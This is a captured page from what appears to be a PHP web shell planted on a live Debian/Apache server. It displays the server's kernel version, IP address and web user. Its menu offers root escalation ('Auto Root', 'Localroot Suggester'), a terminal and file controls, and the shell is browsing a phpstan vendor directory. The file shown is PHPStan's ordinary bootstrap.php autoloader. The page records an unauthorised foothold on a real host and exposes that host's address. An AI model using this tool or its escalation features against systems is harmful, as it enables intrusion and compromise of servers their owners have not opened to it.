Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.112
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html_old /
iNetty /
vendor /
phpstan /
phpstan /
Delete
Unzip
Name
Size
Permission
Date
Action
conf
[ DIR ]
drwxr-xr-x
2022-04-21 14:22
.gitattributes
290
B
-rw-r--r--
2022-04-21 14:22
.gitignore
154
B
-rw-r--r--
2022-04-21 14:22
LICENSE
1.05
KB
-rw-r--r--
2022-04-21 14:22
README.md
5.94
KB
-rw-r--r--
2022-04-21 14:22
bootstrap.php
2.21
KB
-rw-r--r--
2022-04-21 14:22
composer.json
354
B
-rw-r--r--
2022-04-21 14:22
phpstan
156
B
-rw-r--r--
2022-04-21 14:22
phpstan.phar
18.22
MB
-rw-r--r--
2022-04-21 14:22
phpstan.phar.asc
833
B
-rw-r--r--
2022-04-21 14:22
Save
Rename
<?php declare(strict_types = 1); namespace PHPStan; use Composer\Autoload\ClassLoader; final class PharAutoloader { /** @var ClassLoader */ private static $composerAutoloader; final public static function loadClass(string $class): void { if (!extension_loaded('phar') || defined('__PHPSTAN_RUNNING__')) { return; } if (strpos($class, '_PHPStan_') === 0) { if (!in_array('phar', stream_get_wrappers(), true)) { throw new \Exception('Phar wrapper is not registered. Please review your php.ini settings.'); } if (self::$composerAutoloader === null) { self::$composerAutoloader = require 'phar://' . __DIR__ . '/phpstan.phar/vendor/autoload.php'; require_once 'phar://' . __DIR__ . '/phpstan.phar/vendor/clue/block-react/src/functions_include.php'; require_once 'phar://' . __DIR__ . '/phpstan.phar/vendor/jetbrains/phpstorm-stubs/PhpStormStubsMap.php'; require_once 'phar://' . __DIR__ . '/phpstan.phar/vendor/react/promise-stream/src/functions_include.php'; require_once 'phar://' . __DIR__ . '/phpstan.phar/vendor/react/promise-timer/src/functions_include.php'; require_once 'phar://' . __DIR__ . '/phpstan.phar/vendor/react/promise/src/functions_include.php'; require_once 'phar://' . __DIR__ . '/phpstan.phar/vendor/ringcentral/psr7/src/functions_include.php'; } self::$composerAutoloader->loadClass($class); return; } if (strpos($class, 'PHPStan\\') !== 0 || strpos($class, 'PHPStan\\PhpDocParser\\') === 0) { return; } if (!in_array('phar', stream_get_wrappers(), true)) { throw new \Exception('Phar wrapper is not registered. Please review your php.ini settings.'); } $filename = str_replace('\\', DIRECTORY_SEPARATOR, $class); if (strpos($class, 'PHPStan\\BetterReflection\\') === 0) { $filename = substr($filename, strlen('PHPStan\\BetterReflection\\')); $filepath = 'phar://' . __DIR__ . '/phpstan.phar/vendor/ondrejmirtes/better-reflection/src/' . $filename . '.php'; } else { $filename = substr($filename, strlen('PHPStan\\')); $filepath = 'phar://' . __DIR__ . '/phpstan.phar/src/' . $filename . '.php'; } if (!file_exists($filepath)) { return; } require $filepath; } } spl_autoload_register([PharAutoloader::class, 'loadClass']);